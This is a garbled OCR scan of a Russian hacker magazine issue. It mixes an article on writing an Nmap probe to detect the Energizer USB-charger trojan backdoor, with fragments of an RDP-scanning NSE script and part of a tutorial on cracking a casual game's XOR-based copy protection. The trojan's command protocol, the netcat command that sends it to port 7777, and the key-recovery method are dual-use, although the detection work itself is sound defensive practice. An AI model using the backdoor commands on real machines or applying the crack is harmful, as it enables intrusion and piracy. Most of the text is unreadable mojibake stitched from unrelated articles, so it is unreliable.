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sTopaR - KOJlVlyeCTBO HOSblX NSE-CKpll1nTOS gJlR peaJl1l13aLJ,VlVl 60nee TOHKIiIX nposepoK 1I1 VlHTenneKTyanbHoro CKaHlI1pOSaHlI1R. 06blYHO TaKllle CKpl--1nTbl pa3pa6aTblsafOTc51 AJlR KaKOIl1- H1I16YAb cepbe3H0ll1 Ys::l3SVlMOCTlI1 1I1 VlCnOJlb3YfOT yaCTlI1 OKa3aBWI!1XCR B na6m1Ke CnJlOIl1Tos. Ho TO, YTO OKa3anOCb y scex - 3TO Y>Ke He TaK "HTepeCHO Ilpyroe Ae"O - cAemTb 4TO-TO

AJII'I ce6~. CKCl>KeM, 3Hd~ 0 TOM, KdK YCTpoeH KaKOII1-TO CSeIKVlII1 TPORH, )J,06aSVlTb 8 ckauep

~ 026

onpeneneuuue npoaepxa VI TaKVlM o6pa30M, 6blCTPO npo-recas cers, nopyrars cpasy MHO>KeCTBO MaWVlH. KaK Te6e?

FINGERPRINTING CBO~M PYKAM~

KOHeYHo, MO>KHO HanVlcaTb C Hym-l nporpat-wycxauep, KOTopaR 6YAeT ornpasns rs HeKlI1Vt aariooc, naocurs pesynsrar VI, B KOHeYHOM CyeTe, B03MO>KHO, geTeKTVlposaTb aapaxeuHbfB MaWVlHbl. V1 peanusosars HeKOe nOAo6V1e MHOIQnOT04HOCTVl TO>Ke HeCnO>KHO. Ho paase Bce 3TO MOIKeT cpaSHVlTbCR C TeMVI MexaHVl3- MaMlI1, KOTopble CTOJlbKO speMeHVI orra-rwaanuci, S Nmap? 51 TaK He )J,YMafO. O,lJ,Ha 1113 «mc-reeux oc06eHHOCTeVt ckat+epa - WlI1pOKVle B03MO>KHOCH1 fingerprinting'a, TO ecrs KaK

paa onpeneneuvs sepclI1Vl DC 1I1 pabcraou.ax CepBlI1COB no TaK Ha3blsaeMbiM OTneyaTKaM nansuea [B T~pMlI1HaX Nmap OHV1 Ha3blsafOTCR

probe]. CepB"COM MO>KeT 6blTb 06b14Hblf1 WWWf:\eMOH, a MO)KeT - TPOVt. npVl 3TOM a6COJllOTHO Heo6513aTeJlbHO MltlPVlTbCR C Tot;; 6a301l1, KOTopaR no "yMon4aHVlIO nOCTaSns::leTC$1 co cka-repow. nOCMOTpWM, KaK MO>KHO 06HOBlI1Tb ee caMoMY

B «a-recrae npV1Mepa B03bMeM rpcs-r. KOTOPblVi pacnpocrpaaancs B Espone C COCPTOM gns:! sapsf:\OK cr KOMnaHIIIlI1 Energizer [Mbl pacckaaanx 0 HeM B Meganews npownoro HOMepal. Ha ocj)VILl,VlanbHOM cajrre nporpa-n-ia Y>Ke 06HosneHa, HO 3apa>KeHHblVt eapnaur nc-npexue-ry nocryneu

B CHVlMKax caViToB, coxpaueu+ux apxnaaropov n+rrep-rera Wayback Machine (web.archive.

Q[Q.J. 3aHlI1MaTbC>=I rny60KltlM peSepClI1HrDM Mbl

He 6y..o.eM. XOTs::l paCK08blPs:lTb TpOVI ..o.OCTaTOY-

HO npOCTO [aSTOp He CVlnbHO 3aMopa4V1BanCs:I, 4T06bl XOTb KaK-TO 3aKpll1nTOBaTb Mansapbl. :310 Y>Ke cnenaru- sa Hac. Ha C3VtTC www.symantec. com/co n necliblogs/troja n - fou nd-usb balLery-

XAKEP 06 /137/ 10

charger-software npVlBe,Ll,eHO nO,Ll,p06HOe

or ucanne aupyca. 1Il3 xcropcro HaM n-rre oecuu HeCKOnbKO cpaKTOS

• TPO"H cnyuiaer 7777 r opr:

• mo6ble ,Ll,aHHble, xoropue rpca-r nplllHIllMaeT Ha 3TOT nopr, XOR-"TC" co 3Ha4eH"eM OxE5 nepen TeM, KaK ofipafiarusarorcs nanee:

• KOMaHAbl laanyc« npouecca, YAaneH"e cpaVina, BbinOnHeHIIl)=l KOM3HAbi III T.A.] nepeAaIOTC" B B"Ae CLSID (YH~KanbHbl" "AeHT~cp"KaTOp B"Aa {XXXXXXXX-XXXX-XXXX-XXXXXXXXXXXXXXXX} I:

• nepeA KOMaH,Ll,oVi nepenaiorca 4 ynpaansuoLl\IIlX 6ai1Ta, 8 KOTOPblX YKa3blBaeTCR Anl.1Ha ynpasnS1lOw,ero C006lJJ,eHIIl)=l.

OAHa "3 TaK~X KOMaHA -'{E2AC50S9-3S20- 43fe-SA4D-A7028FADSC2S}" _ npcsepaer. aKT"BeH TpORH B Cl:1CTeMe VlnVl HeT. Ecm1 anpyc npuHIllMaeT Vl nOHVlMaeT ee, TO S OTseT OH crnpasnser TeKCT «YES», KOTOPbl~ TaK >Ke, KaK Vl caMa KOMaH,Ll,a, XOR'VlTGI CVlM80JlOM OxE5. nOXo>Ke, 3TO KaK pas TO, 4TO nouoxer HaM BblRBtIITb HaJll.'14I1le

B HOBOH BepCIH1 Nmap AalKe He HaAO Ao6aBnslTb Hawy npo6y - orne-tarox AIlSl 1t3Y'leHHOrO TPOSlHa TaM YlKe ecrst

rpcs-ra Ha y.o,aneHHoi1 CVlCTeMe. lilTaK, Mbl 3HaeM, YTO ornpasnars [KOMaHAY An)=! npoeepkn aKTt.1BHOCT~1. KYAa ornpaenar s lnopr 7777) ~ 4TO ncnxHbl ncny-urn, [«YES»]; OCTaflOCb peantll30BaTb nposepxy.

BeE OK? YES!

,lJ,nR Hayana nonpo6yeM oripaa-rr s na cer C

PeBepCItHr TpOSlHa OT KOMnaHlt1t Symantec

Any data that Trojan Arugizer receives on this port is XOR'd INith the value OxE5 before it is processed further The threat continuously listens for commands. Commands are sent to the threat in the rorrn of CLSIDs. The threat waits for any of the fOllowing CLSIDs to be sent:

{E2AC5089-3820-43Ie-8A4D-A7028FAD8C28) {F6C43E lA-1551-4000-A483-C361969AEC41) {EA7 A2EB7 -1 E49-4d51-84D8-DG64587440E3} {7S3EACBF-EFSB-49Se-A059-FOB5BD12641 E) {017 4D2FC-7C66-4a22-37C7 -76B72A32F19F} {98D958FC-D0A2-4fl c -B341-232AB357E7C3) {4F4FOD88-E715-4bl I-B311-61 E530C2C8FC} {384EBE2C-F9EA-4IGb-94E F -C9D2DA58FD 13} {8AFl C164-EBDG-4b2b-BCl F-6467 4E98A71 0)

Some of these CLSIDslcommands take further parameters that must be sent after the CLSID. Each comrnurncauon sequence consists of a 4 bytes size value, then the command, then (optionally) the size of the parameters and the actual parameters

The first command checked lor is {E2AC5089-3820-43Ie-8A4D-A7028FAD8C28). This command checks that everything is 01< with the Trojan" If the command is received and executed correctly by the Trojan. the text "Yes" is sent back to the attacker. TIle responses sent by the Trojan are also XOR'd with OxE5.

foroaue fil<1fim10TeKVI NSE

LJTo6bl cnenars nporpaMMVlpoBaHVle cKpVlnToB i-a Lua ew,e bcnee 3cpcpeKH1BHbIM, B Nmap BCTpOe}10 MHoro ,D,onOnHItITenbHblx 6Vl6nVloTeK, CneLJ,VlanbHO 3aT04eHHbiX nOA BblnOnHeHVle paann-ruux ceTeBDIX npoaepo«. Bce OHltI Haxogsncs:l B nanxe %nmap%/nselib. LJTo6bl Tbl He V1306peTan senocnne.a npli1AYMbIBaR, HanpVlMep, Kaf( BblnOnH!t1Tb 3anpoc K DNS. npuaoxy cnucox Hal-16onee 48CTO Vlcnoflb3yeMbix 6l!16nllloTeK:

backdcor - npocrecnuas peafltll3aLJ,!i1fi 63KAopa 8 CIIICT€Me;

bin - pa60TB C ,D,BOVl4HbIMVl ,lJ,aHHbIMII1;

datafiles _ 6"6n"OTeKa An" paboru co BCTpoeHHbIM" cpa"na Nmap IHanp~Mep. nmapprotocols - onVlcaHVleM Vl HOMepaMt.1 nopro a pasnu-u+ux nocroeonosl.

default - HaV160nee l1aCTO Vlcnonb3yeMbie cere aete Cl..\eHapt.1t.1;

dns _ pafiora cONS;

http _ paSo ra c HTTP;

msrpc _ 6"6n"OTeKa An" pa60Tbl C BbI30BaM" MSRPC; mysql _ HeKoTopble onepauuu c MySQL;

netbios _ pafiora c NetBIOS-Tpacp"KOM;

nmap - B3aVlMO,D.eiIJeTBVle c ~APOM cka+tepa:

packer - MaHlIlnyn!.1pOSaHlt1e C naKeTaM!.1 B RAW-slt1,D,e; proxy _ pafiora c npokcst:

shortport - psfiora c nopTaMIIl;

smb - pabora C 5MB-npoToKonoM;

sss 1 /ssh2 _ pabora c SSH

Jlf06ble 6Vl6flVloTeKVl nO,.D,Kflf04afOTCR C nOMow,bfO KOMaH,D.bl require.

XAKEP 06 /137/ 10

-;5[ .. ] [Jdn.-<an<IomoStt:p<>rt nse~ht'p~.......,.,." Me

~:~e !B::=~~d ;:8::~~::;~i>"'h.Y~n!We

Ciafp1'alh"''''n n .... Cjdoa .......... lce-di$Olve(y of;flClJmap-<:apabllltles

8:~~="···-·"···-·-~B:n:o~ramfer =8:~::

[jaulh-ilwner.l nseCJl!p-anon meDJdwp-ven!oo

D~ulh-..pool nseDflp-bounce nseC)ldzlp-bruie

[:jbanoer nse[')flp-brule n ... C!Jdap-rootd ....

[jdtrtx-brute-xmi Me[3lltmH~le nseDldap-...ch

[jdlrix-enum-apps nse[jhttp·auth nseClr=nark..,.,nftll

[Jc;trtx-enum-app$-xmI n DhUp-dllle nseDmongodb-dlllabll"""

Clcitrix-enum~ef!; n Dhltp ..... um nseClmonQOdb~n!o

[jdtrl:l-<:f1um .......... """.xm!nse[Jhttp-favICOfl otleOms1QHnlo

[JC:Ouchdb-database~ nseClhttP-l">elldefS nseDmysqt-brute

[jc:ouchdbllats nseDhttp~ts ... ebdav ... uln nse!)mpql-<latiJba""s n ...

[Jdzlap.geHb""Y nscOhttP-roalware-hool nseDmY$QI~ty1>llS"word me

Cida)'lrme n ... [jhttp1fJelhods nseClm1"'11~nlo

[jdb2-das':;n!o nseL:Jhttp-open1>ftlxy """tlml"lQl-.....,.,."

[Jdb2~nfo nse[jhttp1>lIsswd """C)ffiY$<ll.varlahl=

[jdhq>-di:ocover nseDhltp~race nse[jnbslat

CTaHAapTHblH NSE-CKpltnTbl Nmap

KOMaH,.D,oi1 Ha nopr 7777 BPYYHYfO. ,lJ,nl1 3TOro HaM nOHa,Ll,06V1TCR yrnn.rra netcat [c www. securityfocLls.com/tools(l3 MO>KHO CKa4aTb

ee nopTVlposaHHyfO BepC1Il1O nor; Windowsl. nOCKOJ1bKY rpos« O)KIIlp,aeT AaHHbie B 3aKpVlnTOBaHHOM C nououruo XOR'a BIIl,Ll,e, TO nplll,Ll,eTC~ 8blnonHVlTb raxce Wt.1¢pOBaHVle. Hanuurev An~ store npenensi o npocryio YTV1mny ua CIIl, XOTSi TO >Ke caMoe aa Ml-1HyTy MO)KHO CAenaTb VI Hd Jl1060M npyrov Si3blKe

~lnclude <stdio.h>

int main{int argc, char *argv[])

il1t Ci

while ( (e = getehar()) f = EOF) printf("%c", c A OxES); return Oi

Bce npocTo: rynsa 4VlTaeT CVlMBOllbl Vl3 CTaHnapruoro nOTOKa BbIBop,a, nanee p,nSi Ka>K,Il,OrO CVlMBOlla ocyuiecrer ser or epaua:o "XOR OxE5" VI pe3ynbTaT, TO ecrs 3aKpl:1nTOSaHHbli1 TeKCT, ornpaanaer B nOTOK auaona:

$ gee -0 test test.c

s echo "this is a test" ./test
hexdump -c
00000000 91 8d 8e 96 e5 8e
96 c5 84 c5 91 80 96 91 ef
I • .. . A .. A.A. ... .i. I Bee xopouro. xpoi-re op,Horo MOMeHTa - B KOHl..\e y Hac uapucoaancn nIllWHWL1 CVlMBOfl ~ OxEF, KOTOPblVi 03HayaeT nepeBoA CTPOKtII. C ,.D,pyrot:1 CTOPOHbl, He XBaTaeT TepMVlHanbHoro CVlMBO-

na 3asepweHVlS1 CTpOKVl. n03TOMY 3anYCKaeM KOMaH,Ll,y echo C KnlOYOM "<n", ~To6bl 1Il36aBVlTbCR OT nepeaoz;a CTpO KtII , Vl KnlOYOM "<e", ~T06bl ra pacnoauana escape-Ct.1MBOJl "\xOO', KOTOPblM Mbl ,Ll,06aBVlM B KOHl..\e coob.ueuns:

$ echo -ne "this is a test\xOO" ./test I he.xdump -C

00000000 91 8d 8e 96 e5 8e 96 c5 84 e5 91 80 96 91 e5

.... A .. A.A .... a l

BOT rer eps ace npasunuao. Ocranoci, r onCTaB~Tb Hawy KOMaHAY "{E2AC5089-3820-43fe- 8A4D-A7028FAD8C28)". YKa3aB nepen He" ee pa3Mep [38 CVlMBOllOB CaMO[/[ KOMaH,1],bl + 1 Tep-

~ 027

Ii){ c:\Work\Xakep\rpdlistfua - Ncteped+»

j 0 ~ 1m !Ii -. liO @ I .it Ib il'i I ., C! I ilIl '" I ~ ,,1C'j EilI~ 11 ~I<!ll ~ ~ 00 @ Iii I » ilrpdnst~u~

fiescriPCiO!l [[ RDP Serve:::s se acnt.ccj, ] I

ac cncc- = -x G~o'-'P"

ce ceqcca e s = {"di3co -r e::::y"}

require "sr.o;::tporc"

po::;-crule = enoccccc c . poz c _ 0::: _ eexvz.ce (3389, "res c c erm-ee rv ")

-

10 l·CCi;~~~~~m~::;~~~:~~::;=dP.m", "a-")

1: f~le: close ()

:'2 end

UNIX

ANSI

351 chars 362 bytes lZlines Ln : 1 Col: 1 Sel: 0 (0 bytes) in 0 ranges

Haw cLleHapl1ii1 Ha NSE

MV1HaJlbHblV! CV1MBOJl = 39 6a~T, 4TO S WeCTHa,lJ,u,aTepw4HoM npe,1J,CTaSneHwV1 naer 27)·

echo -ne "\x27\xOO\xOO\xOO (E2!"C5089-3820- 43 fe-8MD-A7 028F.I\D8C2 8) \xO 0"

no VI,1J,ee, 3TOT naxer ,lJ,OJl>KeH Bbl3saTb OlBeT rpoaua. ,LJJHi sroro orcunae« BbIBO,lJ, KOMaH,lJ, C nOMOLl\bfO netcat'a Ha 7777 nopr 3apa>KeHHOili M3WV1Hbl:

~ info VlHCPOPMal1"" npencraar eua V1C-

KnlO""TenbHOAn" $ echo -ne "\x27\xOO\xOO\xOO{E2ACS089-3820-

03HaKOMneH"". 43fe-8A4D-A7028FAD8C28)\xOO" 1

V1cnOJlb30BaHVle ee ./test I # mvrq,pyeM KOMaH)J;Y

B npOTV1B03aKOHHbIX neat 192.168.1.123 7777 I # OTnpaSJUIeM ee

u,eJl51 X MO>KeT noane-u, ./test # rrorryvaen peayrrs-r-e-r

3a c0600 yronoe--oe OTBeT:

npeCJle,1J,OBaHVle. YES

ABTOP" peAaKl1""

He HeeYTHV1KaKOiIi Ila! TpOI1 paarceapnsaer e HaMVI Vl rosopnr «YES» - 3Ha-

OTBeTCTBeHHOCTVl3a YVlT, Bee pa60TaeTI KaK BVI,lJ,V1Wb, fingerprinting Y,lJ,aneHHblx

VlCTOJlKOBaHl-le,1J,aHHOili cepaacce - 3TO gaJleKO He acerna 04eHb CJlO>KHO

CTaTbVl KaK PYKOBO,lJ,CT-

sa K npOTVlB03aKOHHblM ,lJ,eiliCTBl-l51M.

C03J1AEM PROBE JlJ1H NMAP

Tenepb caMoe BpeM51 nepeYlTVI K TOMY, pa,1J,f.1 -iero Mbl see

3TO l-l 3aTeSaJ1l-l, a VlMeHHO - C03,lJ,aHVlI{l crteruca AJl5=! 6a3bl Nmap'a. nepBoe, 4TO HaM nOHa,[l,06VlTCR - 3TO HaYlTVI cpaYlJl nmap-service-probes. 06blYHO OH pacnonaraercs B C:\ program flies\nmap lIusrlshare/nmap 'In" lusr/local/sharel nmap S CJlY4ae C HWKCaMltd. 3TO CaMblYi 06bl4HblYi TeKCTOBblili KOHqmr, S KOTOPOM nOCne,lJ,OBaTeJlbHO nepe4wcneHbi ace probeu B CneLl,VlaJlbHOM cpopMaTe. EcnVl BblnonHV1Tb nocnenHI{lIO KOMaHAY, HO He OTnpaBmlTb ee B netcat, TO Ha 3KpaHe

Ha ,1J,VlCKeTbl HaYl,1J,eWb n0I1BVlTC51 3aWVlCpposaHHa51 KOMaH,1J,a, KOTOpyfO VI Hy>KHO

nOCne,D,HfOfO BepcV1fO SCT3BVlTb B OTneyaTOK:

Nmap, a TaK>Ke ace

pa3pa60TaHHbl~ HaMVI » Ham crrenox nna orrpenenemer Energizer

cKpwnTbl V1 probesr. trojan

Probe TCP Energizer q l \xC2\xE5\xE5\xE5\x9E\ ~~O\xD7\xA4\xA6\xDO\xDS\xDD\xDC\xC8\xD6\xDD\ xD7\xDS\xC8\xDl\xD6\x83\x80\xC8\xDD\xA4\xDl\ xAl \xe8 \xM \xD2 \xDS \xD7 \xDD\xA3 \xA4 \xAl \xDD\ xA6\xD7\xDD\x98\xESI

rarity 8

ports 7777

match ene.r q i z e r m l A\xbc\xaO\xb6$1 pi Energizer baekdoorl o/Windows/ i/**BACKDOOR**1

~ 028

INI

Zenmap n03BOJUIeT C03AaTb npocpaiiln AJUI CKaHllpOBaH"Sl, 'ITo6bl COXpaHI1Tb HaCTpoiilKI1 CKaHllpOBaHI1Sl

BOT VI sce: fingerprinting 6a3a obsaaenacs HOBblM cr enKOM. 0603Ha4eH~1e HOBOro 3JleMeHTa fingerprinting-6a3bl Ha4V1HaeTC51 C Knf04eBoro cnosa Probe, noc.tenoaareneHOCTb 6aYlTOB o6oco6n51eTc51 "ql" B Hayane VI CVlMBOJlOM "I"

B KOHLl,e_ napaMeTP rarity YK33blBaeT Bepo51THoCTb cpabaruBaHVl51 npcaep c.i. Ports 3a,1J,aeT ncpru, Ha koropue ornpasJlS1eTCI1 npoaepsuouiaa nOCJle,1J,OS3TenbHOCTb. C novouusio KOMaH,D,bl match VI perynRpHoro Bblpa>KeHW51 B Perl-crune onpenennercs OTyeT cepaepa, ua KOTOPbl~ ,D,OJl>KeH pearltlposers Nmap_ B peaynsrare Nmap 6YAeT orcunars naKET Ha nopr 7777 aHanOiW4HO TOMY, 4TO Mbi TOJlbKO 4TO C,Il,eJlanVl C nonou.e.o Netcat'a. Ecn.i B OTseT np.uier 3aKO,lJ,fI1pOBaHHoe CJlOBO «YES», TO cxauep onoenerurr npVlCYTCTBVle Tp051 B CVlCTeMe. npOSepfl1M 3TO B Ae~CTSVlW:

$ nmap -sV -p7777 192.168.1.2

Starting Nmap 5.30BETAl ( http://nmap org ) Nmap scan report for 192.168.1.2

Host is up (0.000248 latency).

PORT STATE SERVICE VERSION

7777/tep open .energlzer Energizer backdoor (**BACKDOOR**)

Service Info: os: Windows

TaKl.1M o6pa30M, norparvs COBceM HeMHoro SpeMeHfI1, Mbl HayLfVlJlVl Nmap Haxo,.o.VlTb 3apa>KeHHble MaWVlHbl B ce r.i. Ba>KHO, YTO rakas npOBepKa HltlKaK He BbI6V1BaeTCs:! lt13 nplt1Bbl4HOro obpasa VlcnOJlb30SaHVl51 Nmap. ,LJ,ns:! CI<aHVlpyeMblx XOCTOS 6ygeT BbInOJlHs:JTbCs:! ew,e O,lJ,Ha nposepxa, SOT !II see. T bl nc-npexae-iy CMO>KeWb ucnonsaaears ace oc=ansuue B03MO>KHOCTVI Nmap, B TOM -urcne ltl aSTOMaTltl3ltlpOSaHHbie ckpnr ru.

NSE - ~TO 3TO?

Cron. 4TO ew,e aa aBTOMaTW3wpOBaHHbie cxpvrrru? 51 IOBOpro 0 CKp"nTOBOM ABW>KKe Nmap Scripting Engine (NSEI. KOTOPblV! n051BVlJlC51 ew,e B 4.21 SepCWltl cKaHepa, npltl4eM pa3pa6oT4V1KIIf KopnenVl Ha,1J, HVlM ficnee 6 Mecs:!u,es. no CYTVI, B Nmap ceV!4ac 60JlbWe 06HOSJll1eTC51 He cano 51,lJ,pO CKaHepa, a KonVl4eCTBO nO,lJ,,D,ep>KfI1SaeMbIX NSE-cu,eHapVles. Hanp"Mep, B nocneAHefi AOCTynHofi 5eTe (5.30BETA 11 nonBVlJlltlCb 37 HOSblX ckpn rros. cu,eHapltlill http-vmware-pathvuln, n03Bons:!fOll1V1i1i ySO,1J,VlTb rocreeue MaWV1Hbl Vl3 YS13BltlMblX npoAYKTOB VMware; mysql-empty-password, KOTOPblii nsrraerca HaWTfI1 6a3bl C nYCTblMW napOJlI1MV1 AJl51 a,D,MV1Ha V1 aHOHltlMHOrO nOJlb30SaTeJl51, VI T.,lJ,. Bcero raewx cKpwnToB B Nmap 117, HO 3TO TOJlbKO B ny6nVl4HoM AOCTyne. Ha caMOM

XAKEP 06 /137/ 10

nene 3TO OTflVl4Hbl~ MeXaHVl3M Ha CJlY4a~, KOf,Qa K MOW,-

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description = [[ RDP Servers seachtool ]] author = "X Group"

license =- "Same as Nmap--See http://nmap.

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org/book/man-legal.html" categories = {"discovery"} require "shortport"

portrule = shortport.port~or_service{3389, "ms-term-serv" )

action =- function(host, port)

file =- io.open ("ip_"'lith_rdp.

txt", "a+")

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Internet

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Magical UnInstal1 Preferences

Install an Application

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Exit program

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Home» Update Checker Results

-------_

13 Updates Detected

A Alcohol 120% 2.0.0.1331

nstanec verstoo: LS.S.7S30

Evernote 3.5.3.1964

Installed Version: 3.1.1).122&

~ Foobar2000 1.0.2.1

nsteuec versen: FOObar200(l(l.9.<6-.9:

m HijackThis 2.0.4

InstalledVerslOn:2.C.O.l

4, Java Runtime Environment 1.6.0.20 (32·bit) ..=;..... nstenec versercr.s.a 17

!1 Notepad++ 5.6.8 nsreuec versen: S.6.3.0

CI Picasa 3.6 Build 105,61

InslGllea verscn: 3.6.IO~.~1

..., Silverlight 4.0.50401

Installe:lVersion:3.0.S0·IOO.O

~ Skype 0.0.158

Ins1al1edVersion ~I.(I.179

~ Unlocker 1.8.9

InslalledVerslCln.·IS.8-.0

39.751.180

2.991,16 ~

3.181,180

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rne 4 Vl6 - MVlHWManbHaR W MaKCWManbHaH gnwHa cnosa B cnosape.

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~ 042

XAKEP 06 /137/ 10

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XAKEP 06 /137/10

02

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XAKEP 06 /137/ 10

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XAKEP 06 /137/10

packet = (

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KBK Ory41Hb l-1X nernu,e Kns:JHI1lt1Tb HaWlt1 C SaMI-1 «posuue AeHbrlll. Pa3pa6oT4t.1Klt1 KOMnaHlt1lt1 HeBoCoqn nepxar non CS0l-1M 4YTKlt1M Ha,Q30pOM TbICS1LJlt1 V1rp. npu 3TOM naior Hapo.QY onpo6osaTb lt1X geTI-1lLJ,e B Te4eHlt1e O,[l,HOrO -raca. llocne 60 MII1HY-, <orna 4enOBeK TOflbKD BXO,QlIIT 80 sxyc. BbICaeLJV1BaeTCs:J He Q4eHb npvHHHB$1 Ta6m14Ka, KOTOpas:J npOO1T p,eHe>KeK. TaK y>K c.nO>KII1.nOCb, !..lTD pycCKl!1C1 4enoseK He m061!1T nr.erwn, aa coer,

HO pa3pa6oT4lt1Kt.1 urp lt1HOrp,a npocro He OCTBsmHOT HaM subopa. Ans:! onpe.QeneHHO~ It1rpbl Hy>KHO HaiilTlI1 CBOIll Kp$1K, HB nOlt1CKt.1 KOTOPOro II1HOf,o,a yxcnsr nparcueaaue Mlt1Hyrbl lt1 YBCbl, a eCJllt1 t.1rpa HOBaR, TO eeposruocrs Hailin1 ero CSO,lJ,II1TCs:! K HynlO.

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~ 050

XAKEP 06/137/10

I [-c-] v I LHeT J 1.395944 K6 1'13 20 482 840 K6 c606ollHO c:\}1rpbl OT NevoSoftlpeacecraft\game\x. x

TI·m

nOA03pIHenbHoe CXOACTBO !flaHnoB HaTanKI1BaeT aa Mblcnb 0 TOM, 'ITO I1rpa nOnY'IaeTCH nYTeM KaKI1XnM60 MaHMnynHLlMH C !flaHnoM nsgame.dat

nO,llroTOBKA OnEPAu~oHHOro CTOnA

B KalJeCTSe nononuruoro Am:t uauiero V1ccnep,OBaHL1)'i, «oroporo Mbl

6y.aeM oTyyaTb OT «BpeAHo~ npV1BbIYKVf», $1 Bbl6pan Vlrpy «Flcnuapcraa aa npVlHu,eccy». Mo~ aufiop nan Hd Hee, nOToMY 4TO VlMeHHO OHa \11 HaTOIlKHYna MeH$1 Ha MblCflb 06 lt1ccnep,OSaH!IIlII 3all\\!1Tbl II1rp OT Heeof.odrra. n03>Ke Bbl)'lCHl!1JlOCb, YTO nplllHLJ,lI1n 3aw,\!1Tbl y APyrl!1X l!1rp aroro np0l!13BO,lJ,I.1TeJl$1 a6COJlfOTHO t.1p,eHTlIIlJeH.

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CKAnbnEnb. TAMnOH. CnHPT, EWE Cn~PT, OrYPEU ... nOMRHEM!

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YTO >K, ,lJ,asaiil rmmeM, YTO 3TO aa CPPYKT, III KaK OH TYT OKa3aflC51. TblKaeM B csoticrsa npou,ecca III BYIIlTbIBaeMCS1 B IIlHq,opMau,\I1iO, KOTOPYiO HaM sunaflill. MeCTOpaCnOJlO>KeHllle cpaYlJla rOBOpv'IT 0 TOM, 4TO Mbl na sepHOM nyr». OTKpblBaeM nanxy C 3TIIlM cpaYlJlOM VI nepelllMeHOBblBaeM ero B exe·WHI!1K (KCTaTIIl, q,aiiln SlBflS1eTCs:! CKPbITbIM, TaK YTO He 3a6y,ll,b nOCTaBIIlTb rano-i-

Ky Ha «orofioaxars cxpsrrue ¢aiilnbl» B COOTseTCTBYIOW,VlX caoricraaxl. TblKaeM 8 Hero nsa pasa fleBOYI KHOnKOYI MblWVl VI BIIl,lJ,VlM npexpacuyio KapTVlHY - lIIrpa 3anYCKaeTCs:!, npVlyeM HVlKaKVlX OKOH AJl5=! perVlCTpaLJ,V\\I1

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BCKPbIT~E nOKA3AnO, 4TO nAU~EHT YMEP OT BCKPblTHR

OCHOBHas:! uauia ueru, - HaYYIIlTC$=I cry-tars urpyunca NevoSoft'a OT ,o,eHer

B ABa KnVlKa, n03TOMY Ha4HeM pa36I1lpaTbC)=I, oTKy,o,a beperca TOT anocYaCTHbllll cpalllJl C paCWV1peHV1eM *.tmp. He 60YlCS1, YIllTaTb TOHHbl MaHyanoB He npl.1,lJ,eTCs:!, rflaSHoe - IIIMeTb liyr04KY TepneH!o151 III Kane.nbKY SHVlMaTeflbHOCTlII. \!1cKaTb nonro He nouxonarcn. Vl60 B naruce (¢aiilnOM *.tmp ne>KlIlT HenOHs:!THO 3a4eM HY>KHbliil ¢aiiln nsgame.dat, KOTOPbl~ no pa3Mepy cosnaaaer C Hawe~ VlrpywKoiii C T04HOCTbIO ,0,0 6aiiiTa. MO>KHO npennoflO>KVlTb, 4TO flaH4ep npocro nepeVlMeHoBblsaeT nsgame.dat B *.tmp III aanycxaer ero. Ho B npou,ecce npoBepKlIl aaurero npennonoxeuwa Te6s:! >K,IJ,eT 60flbWOYl 06flOM - Hac nocunaicr Ky.n.a ncnansure. coofiuias 0 TOM, 4TO npanoxe-ure He s:!Bfls:!eTCr1 VlCnOJlHs:!eMbIM cpaiilnOM. PaCCTpalliBaTbC51 He

XAKEP 06 /137/10

6ygeM, a BMeCTO aroro 6epeM ilona! -060Jl~_= ~a ncocrpee ill Ha4VlHaeM xonare nornyoxe nepBOe, 4TO npwxc..J.·- -a JV - Cp.aSHI!1Tb 3T\I1 ABa ¢aiiiJla III nOCMOTpeTb, 8 4eM >Ke VlX OTfll-1l·me. Orcccev Tota, Commander Vl BO(nOflb3yeMul sHyrpeHHeiii yTVlnll1Toi:1 Jlli~ cpa8:-'E-.!s= ; aiilnoB. Pe3YflbTaTbi cpaBHeHVl$=l 04eHb lIIHTepecHble, TaK KaK Ha6J1iO;:.,ae-c~ KpacVlBaS1 xaprvn+a:

C nepVlO,D,IIlL1HOCTblO B 2 6aiilTa Vl,[l,eT pa3J1I-01I.H-1e ~ cosnaAeHV1e. Hannuo «purrrorpeona V1CnOJlHS1eMOro cpaVina, HO KaK npOaeCTYI 06paTHblYi npou,ecc, sens Mb\ peumnn OTKa3aTbCS1 OT O,flaA4111K03 Vi ,lJ,1II3aCCeM6nepos? OT8eT D4eHb npOCT - Hy>KHO 8CnOMHI!1Tb anropl1TMbI wlllcppoSaHII1S1. CaMblM npccruu Vl D,IJ,HVlM iIl3 caMblX 3¢cpeKTlIIBHbIX (nplit npaSiI1flbHDM acnonsaoSaHVll!1) KpV1nTOaJlropVlTMos s:lBJlS1eTCs:! TaK Ha3blsaeMoe XOR-wVlcpposaHVle. HanoMHIO, B ,lJ,aHHOM MeToge no6aiilTHo npOSOA!I1TC5l 6YJ1eBa onepauns XOR. nepsoYi nepeMeHHoiil s:lBJl'rleTCs:! 6aiiiT AilSi WII1¢POBaHVls:l, a BTOPOi1

- KfliOY. Ho neper; HaMill TYT >KE BCTaeT ew,e Ogl.1H Bon pac - rge 83s:1Tb Knf04 An" AeW"¢POBK"? OTBeT npocr. HY>KHO ronsxo BcnOMH"Tb 6yneBY anre6py, lit K.n104 HaM gaP,YT B OTKPblTOM BVlge.

Crypted ~ uncrypted XOR key; Key ~ crypted XOR uncrypted

1;' 00 M 8S co aa O~ ;;;0 I Q -Ad'>' 86 70 00 D9 sc ~4 10 99 I t} ::;\$01"; 8:;- ~4 1;>' 0)0 DO (1:;- ec :;::5 I usc t:E::;,

04~F;;'S; 01 00 00 SO 3::1 11 ~6 7~ I '::! ""iJ;z

04:;::30: OG 00 0, a~ DB Ell 00 00 I n.so

~3 CO ~a D5 44 S8 ec se I ;;;.. .. .::DSU H;4 OC DS 5C S8 4C!H J DS;:Iil\SLll

ca 04~FCS: ~4 SS so De 44 24 10 S~ I !)a~E>~!::JK 042:;";)0; H as -ic ;)3 sa M aa ;7 J D~EI;XO<- 04:<FDll: 1C 1" 000063 D2 as so t co kIhK 04<~0: 04 3A3D ~3 ';C S1 at) ~a ! D::i;:·U";:;<:.!I 04~n:e: 3C :;:S S. 37 rc rr 5: S8 I <,,' ~ ..... _r 04:;:::0: C~ H C3 3t) ,(I 82 it) 001 ,:p:r=p.) ';:l'~: OFa59501 0000 5333 10 ... "') S3

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BblHCHHeM, 'ITO wM!flpoBaHI1IO nOABepralOTCH TOnbKO nepasre $43000 6aHT

